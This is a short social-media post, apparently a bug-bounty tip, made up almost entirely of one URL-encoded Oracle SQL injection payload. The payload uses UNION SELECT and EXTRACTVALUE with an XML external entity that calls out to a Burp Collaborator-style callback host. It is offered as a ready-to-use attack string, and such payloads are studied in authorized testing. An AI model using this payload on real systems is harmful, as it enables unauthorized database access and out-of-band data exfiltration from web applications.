SQL + XML + COLLABORATOR:
'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+
<!ENTITY+%25+remote+SYSTEM+"httpp//burp/">+%25remote%3b]>'),'/l')+FROM+dual--
#BugBounty #bugbountytips #infosec #CyberSecurity https://t.co/jB1DESb9vE
Source by VIEH Group